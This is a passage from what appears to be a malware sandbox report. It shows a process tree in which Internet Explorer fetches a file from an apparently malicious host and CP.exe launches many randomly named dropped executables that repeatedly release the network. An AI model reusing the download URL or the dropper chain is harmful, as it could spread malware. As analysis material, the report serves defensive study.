      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3596,i,4411535683566346450,217573120433876547,2097152 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=3836 /prefetch:1
      4⤵
      PID:2924
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4268,i,5591726131823405435,14753880599919328073,2097152 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=4488 /prefetch:1
      4⤵
      PID:4336
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4288,i,9913623448434770289,14452929571564110562,2097152 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=3860 /prefetch:9
      4⤵
      PID:5676
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4444,i,8829034835867352253,7061144238090359814,2097152 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=4492 /prefetch:1
      4⤵
      PID:3932
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3980,i,7165369626112634325,9245113779102867765,524288 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=3920 /prefetch:14
      4⤵
      PID:2328
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5644,i,3868435897701593678,8005653323113882837,524288 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=5684 /prefetch:14
      4⤵
      PID:4040
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5508,i,12841713547455894305,1632801904574137894,524288 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=5704 /prefetch:14
      4⤵
      PID:716
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6224,i,2292958988155581011,6830502528701712666,524288 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=6236 /prefetch:14
      4⤵
      PID:5164
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6224,i,2292958988155581011,6830502528701712666,524288 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=6236 /prefetch:14
      4⤵
      PID:2824
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6456,i,14416234993716959552,14087186395225874274,524288 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=6440 /prefetch:14
      4⤵
      PID:5848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6444,i,15284304601396166378,2136525844159301537,524288 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=6460 /prefetch:14
      4⤵
      PID:5316
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=5052,i,12160037331275440399,12546336200905682688,2097152 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=5040 /prefetch:1
      4⤵
      PID:2904
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=5244,i,5331679509596728592,16565003599123574068,2097152 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=4532 /prefetch:1
      4⤵
      PID:460
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1260,i,10021133466314882461,18118306968400257116,524288 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=4896 /prefetch:14
      4⤵
      PID:2328
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1264,i,4536093258056468484,6881498944409243179,524288 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=5320 /prefetch:14
      4⤵
      PID:2516
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1268,i,6076318115924017638,8684754157566200034,524288 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=5060 /prefetch:14
      4⤵
      PID:5792
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --metrics-shmem-handle=5072,i,18211893095378721553,1752444490772619557,2097152 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=5084 /prefetch:1
      4⤵
      PID:2064
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4944,i,545114180499580436,8819702158595435707,524288 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=4956 /prefetch:14
      4⤵
      PID:3484
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6048,i,7044529574114052473,195675743151570540,524288 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=5696 /prefetch:14
      4⤵
      PID:1592
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=6048,i,14393909887942228344,8827217246526997941,2097152 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=5552 /prefetch:1
      4⤵
      PID:5332
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1488,i,14280535031871598998,15899812202620420910,524288 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:14
      4⤵
      PID:3232
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5664,i,7633689991001517493,3815852148456367493,524288 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=5096 /prefetch:14
      4⤵
      PID:6116
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5644,i,468091440249556438,2519842099252533062,262144 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=5100 /prefetch:10
      4⤵
      PID:460
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5132,i,5782022150158861982,8608094167090044558,524288 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=5096 /prefetch:14
      4⤵
      PID:4652
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:4792
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/ll/out.txt"
    3⤵
    PID:124
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jdbvtoidbv.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1952
- - C:\Temp\jdbvtoidbv.exe
    C:\Temp\jdbvtoidbv.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1016
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4144
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:6132
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jdbvtoidbv.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:960
- - C:\Temp\i_jdbvtoidbv.exe
    C:\Temp\i_jdbvtoidbv.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1056
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\sqnidvsnki.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4748
- - C:\Temp\sqnidvsnki.exe
    C:\Temp\sqnidvsnki.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2364
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2548
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:6120
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_sqnidvsnki.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5164
- - C:\Temp\i_sqnidvsnki.exe
    C:\Temp\i_sqnidvsnki.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2800
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\vsnkfdxvpn.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4168
- - C:\Temp\vsnkfdxvpn.exe
    C:\Temp\vsnkfdxvpn.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1112
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3644
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4640
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_vsnkfdxvpn.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3136
- - C:\Temp\i_vsnkfdxvpn.exe
    C:\Temp\i_vsnkfdxvpn.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5280
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\pnhfaxsqki.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4764
- - C:\Temp\pnhfaxsqki.exe
    C:\Temp\pnhfaxsqki.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2500
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1764
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:200
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_pnhfaxsqki.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4828
- - C:\Temp\i_pnhfaxsqki.exe
    C:\Temp\i_pnhfaxsqki.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3656
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\xupmkhcaus.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:6064
- - C:\Temp\xupmkhcaus.exe
    C:\Temp\xupmkhcaus.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4060
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5632
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4492
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_xupmkhcaus.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4456
- - C:\Temp\i_xupmkhcaus.exe
    C:\Temp\i_xupmkhcaus.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:800
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\bztrmjecwu.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4960
- - C:\Temp\bztrmjecwu.exe
    C:\Temp\bztrmjecwu.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:724
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4268
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5884
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_bztrmjecwu.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4216
- - C:\Temp\i_bztrmjecwu.exe
    C:\Temp\i_bztrmjecwu.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1160
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\mgezwuomje.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5692
- - C:\Temp\mgezwuomje.exe
    C:\Temp\mgezwuomje.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3200
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1680
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3188
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_mgezwuomje.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2472
- - C:\Temp\i_mgezwuomje.exe
    C:\Temp\i_mgezwuomje.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5020
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\bztrljebwu.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3916
- - C:\Temp\bztrljebwu.exe
    C:\Temp\bztrljebwu.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5792
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5128
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1748
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_bztrljebwu.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3276
- - C:\Temp\i_bztrljebwu.exe
    C:\Temp\i_bztrljebwu.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5360
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\tqligdbvto.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:432
- - C:\Temp\tqligdbvto.exe
    C:\Temp\tqligdbvto.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2844
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3768
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4732
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_tqligdbvto.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1052
- - C:\Temp\i_tqligdbvto.exe
    C:\Temp\i_tqligdbvto.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1900
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\tnlidbvtnl.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5264
- - C:\Temp\tnlidbvtnl.exe
    C:\Temp\tnlidbvtnl.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5420
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2384
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5432
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_tnlidbvtnl.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2764
- - C:\Temp\i_tnlidbvtnl.exe
    C:\Temp\i_tnlidbvtnl.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3404
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ifdxvqnlid.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4252
- - C:\Temp\ifdxvqnlid.exe
    C:\Temp\ifdxvqnlid.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5776
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4260
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4904
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ifdxvqnlid.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1724
- - C:\Temp\i_ifdxvqnlid.exe
    C:\Temp\i_ifdxvqnlid.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1548
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\nkfaxsqkic.exe ups_run
  2⤵
  PID:1592
- - C:\Temp\nkfaxsqkic.exe
    C:\Temp\nkfaxsqkic.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4080
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5884
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5880
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_nkfaxsqkic.exe ups_ins
  2⤵
  PID:1160
- - C:\Temp\i_nkfaxsqkic.exe
    C:\Temp\i_nkfaxsqkic.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1684
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\upnhfzxspk.exe ups_run
  2⤵
  PID:916
- - C:\Temp\upnhfzxspk.exe
    C:\Temp\upnhfzxspk.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3784
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2528
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:6120
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_upnhfzxspk.exe ups_ins
  2⤵
  PID:1428
- - C:\Temp\i_upnhfzxspk.exe
    C:\Temp\i_upnhfzxspk.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4424
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rmjhczurmk.exe ups_run
  2⤵
  PID:6100
- - C:\Temp\rmjhczurmk.exe
    C:\Temp\rmjhczurmk.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5920
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3184
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5644
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_rmjhczurmk.exe ups_ins
  2⤵
  PID:1304
- - C:\Temp\i_rmjhczurmk.exe
    C:\Temp\i_rmjhczurmk.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3512
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\zurmkecwup.exe ups_run
  2⤵
  PID:2224
- - C:\Temp\zurmkecwup.exe
    C:\Temp\zurmkecwup.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2140
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4264
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2332
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_zurmkecwup.exe ups_ins
  2⤵
  PID:5840
- - C:\Temp\i_zurmkecwup.exe
    C:\Temp\i_zurmkecwup.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1280
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ywuomjhbzt.exe ups_run
  2⤵
  PID:2312
- - C:\Temp\ywuomjhbzt.exe
    C:\Temp\ywuomjhbzt.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4464
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3388
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1736
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ywuomjhbzt.exe ups_ins
  2⤵
  PID:1356
- - C:\Temp\i_ywuomjhbzt.exe
    C:\Temp\i_ywuomjhbzt.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2004
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ywtrljdbvt.exe ups_run
  2⤵
  PID:5236
- - C:\Temp\ywtrljdbvt.exe
    C:\Temp\ywtrljdbvt.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4956
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1708
    - - C:\windows\system32\ipconfig.exe
        
